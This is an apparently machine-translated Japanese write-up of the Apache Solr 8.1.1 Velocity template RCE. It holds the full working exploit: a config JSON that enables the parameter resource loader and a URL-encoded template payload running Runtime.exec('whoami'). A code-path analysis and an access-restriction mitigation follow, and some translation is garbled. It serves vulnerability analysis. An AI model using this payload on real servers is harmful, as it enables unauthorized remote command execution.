Apache Solr は RCE 0day 脆弱性を発見しました (脆弱性番号は示されていません)。ここでは便宜上、オブジェクトを単純に再現し、RCE プロセス全体を分析します。を参照してください。
再現バージョン: 8.1.1
RCE を実装するには、2 つのステップに分ける必要があります。まず、アプリケーションに特定のコアが有効になっている場合 (Core Admin で表示できます)、インスタンス内のアプリケーションでは mycore が有効になっています。
次に、最初に次の json データを構成インターフェイスに送信します。
{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }
次に、次の URL にアクセスして RCE を実装します。
/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
まず、最初のデータ パケットを分析します。 mycore、最初に ブレークポイントは、構成リクエストを処理する SolrConfigHandler の handleRequestBody 関数に設定されます。
これは POST リクエストであるため、handlePOST 関数 ## をフォローアップします。
##handlePOST では、まず mycore の現在の設定を取り出し、送信した設定と同時にそれを handleCommands 関数に取り込み、その後の操作で最後にaddNamedPlugin 関数を入力して VelocityResponseWriter オブジェクトを作成します。オブジェクトの solr.resource.loader.enabled および params.resource.loader.enabled の値は true に設定され、オブジェクトの名前は Velocity です。 次に、2 番目のデータ パケットを送信するときに、HttpSolrCall.call で responseWriter を取得するときに、パラメーター wt の値に従って、responseWriter オブジェクトが取得されます。速度、私たちが取得するものは、慎重に設定した VelocityResponseWriter です。後続の一連の呼び出しの後、最終的に最高速度に入ります。 VelocityResponseWriter.write 関数は、最初に createEngine 関数を呼び出して、custom.vrm->payload の悪意のあるテンプレートを含むエンジンを生成します。 悪意のあるテンプレートが配置されます。エンジン内 ここで、overridingProperties の params.resource.loader.instance と solr.resource.loader.instance に非常に重要な点があります。 params.resource を入力するには .loader.instance と solr.resource.loader.instance で、paramsResourceLoaderEnabled と solrResourceLoaderEnabled が True であることを確認する必要があります。これが最初のデータ パケットの動作です、
#その後、VelocityResponseWriter.getTemplate は、送信した v.template パラメーターに基づいて構築した悪意のあるテンプレートを取得します
最後に、悪意のあるテンプレートを取り出し、そのマージ メソッドを呼び出します,
このテンプレートを理解するには、Velocity Java テンプレート エンジン (このテンプレートは org.apache.velocity.Template クラス オブジェクトであるため) を理解し、公式のテンプレートを翻訳する必要があります。以下のように、
Velocity是一个基于Java的模板引擎。它允许任何人使用简单但功能强大的模板语言来引用Java代码中定义的对象
この文から、このテンプレート エンジンには Java コードを実行する機能があることがわかります。基本的な書き方を理解するだけで十分です。基本的な構文の紹介でペイロードの構築方法を理解することができますが、より深く理解したい場合は、Velocity Java の情報をご自身で確認していただけますので、ここでは詳細な説明は省略します。
つまり、最後に呼び出された悪意のあるテンプレートのマージ メソッドにより、RCE が正常に発生し、最終的にキー コール チェーンが追加されました。
改修計画
現在、正式パッチは提供されていないため、Solrへのアクセスを制限することをお勧めします。
以上がApache Solr の最新の RCE 脆弱性を分析する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。